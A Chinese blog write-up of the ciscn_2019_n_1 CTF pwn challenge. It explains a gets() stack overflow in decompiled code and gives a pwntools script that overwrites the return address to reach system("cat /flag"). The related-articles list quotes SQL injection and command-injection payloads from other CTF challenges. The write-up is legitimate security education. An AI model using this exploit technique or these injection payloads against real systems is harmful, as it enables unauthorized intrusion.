首页 > 其他分享 >ciscn_2019_n_1

ciscn_2019_n_1

时间:2024-11-11 22:44:21浏览次数:1  
标签:ciscn int 2019 func pwn import 0LL

题目链接:ciscn_2019_n_1

下载附件后,使用 IDA 打开程序,并进行反编译,定位到 main 函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

func 函数如下。

int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

可以发现,在 func 函数中,存在 gets 函数,并且使用 checksec 命令对程序进行检查时,并没有 Canary,因此可以直接栈溢出,劫持 func 函数的返回地址到代码:system("cat /flag"); 处。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    sla("Let's guess the number.\n", 0x38 * b'a' + p64(0x00000000004006BE))
    irt()

pwn()

标签:ciscn,int,2019,func,pwn,import,0LL
From: https://www.cnblogs.com/imtaieee/p/18540743

相关文章

  • [极客大挑战 2019]Secret
    首页什么都没有,查看网页源码,发现有一个链接,提示found除去view-source访问,得到以下页面,点击secret直接查阅结束,没回显flag,依旧在卖关子。使用burpsuite抓包获取返回的源码,找到注释中有个文件secr3t.php访问secr3t.php得到代码里说flag在flag.php里,直接访问flag.php,发现......
  • [极客大挑战 2019]LoveSQL
    打开是一个登录界面使用admin'or1#万能密码绕过密码登录再使用admin'orderby3#找回显的列数,结果为3,再使用a'unionselect1,2,3#找回显的列,结果为2,3后面就是常规的union注入流程#找数据库和表名a'unionselect1,database(),group_concat(table_name)frominfor......
  • [强网杯 2019]随便注
    输入1',发现报错,且闭合符号为单引号那么我们可以尝试报错注入,先用orderby确认回显列数。这里回显列数为2用union确认回显位置,1unionselect1,2,发现这些字符被过滤了,尝试了大小写也不行,直接猜吧。这里可以用报错注入,1'and(extractvalue(1,concat(0x7e,database(),0x7e)))......
  • [GXYCTF2019]Ping Ping Ping
    打开页面如下:按提示输入ip127.0.0.1尝试加管道符,查看目录结构,?ip=127.0.0.1|lscat查看flag.php他骂我们,说空格不行。使用其他字符替换空格,?ip=127.0.0.1|cat$IFS$9flag.php又骂我们,说flag字符串不行,我们先看看index.php,直接审计代码看看怎么绕过,?ip=127.0.0.1|cat$IFS$......
  • [SUCTF 2019]EasySQL
    当输入数字时返回array结构,且任意非0数字都是返回1。当输入字符串时无任何回显。那么我们可以猜测sql语句中存在逻辑或符号||,因为任意非0在mysql中相当于true且返回值为1,而字符及字符串会被当作变量处理,或运算时会报错。那么绕过的方法是将mysql的sql_mode参数设置为PIPES_AS_CO......
  • [极客大挑战 2019]EasySQL
    网站首页解题思路正常登录看看情况,输入用户名admin,密码随意,先找闭合,输入用户名admin',得到不一样的报错得知闭合符号为单引号。由于我们不知道用户名,可以尝试用or1绕过输入用户名,即用户名输入admin'or1,登录得到flag{d039ca08-d6de-4b03-b876-c2b86d85fa12}......
  • [GXYCTF2019]BabySQli
    题目链接:[GXYCTF2019]BabySQli。个人认为这道题是脑洞题(当然也跟基础业务知识不够有关)。打开题目后环境如下。只有一个登录框,因此常规操作,先测试一下看看。通过多次输入不同的UserName、password发现,存在admin用户,并且可以遍历UserName。接下来尝试注入,发现似乎只有......
  • [CISCN2019 华北赛区 Day2 Web1]Hack World
    题目链接:[CISCN2019华北赛区Day2Web1]HackWorld。打开环境后如下所示。尝试输入1、2、3、4、...,发现仅存在三种结果。即1时,输出"Hello,glzjinwantsagirlfriend."。2时,输出"Doyouwanttobemygirlfriend?"。其他,输出"ErrorOccuredWhenFetchResult."。......
  • 历年CSP-J初赛真题解析 | 2019年CSP-J初赛完善程序(34-43)
    学习C++从娃娃抓起!记录下CSP-J备考学习过程中的题目,记录每一个瞬间。附上汇总贴:历年CSP-J初赛真题解析|汇总_热爱编程的通信人的博客-CSDN博客矩阵变幻有一个奇幻的矩阵,在不停的变幻,其变幻方式为:数字0变成矩阵[......
  • [CISCN2019 华北赛区 Day2 Web1]Hack World 1
    [CISCN2019华北赛区Day2Web1]HackWorld1打开实例发现是个POST注入框盲猜SQL注入,万能密码检测无果,而且经过测试存在大量sql关键字过滤尝试使用(),出现了bool(false),确定这是一道布尔注入题and被禁用,决定采用异或^注入构建payload脚本梭哈:成功获得flag:flag{a2f7089......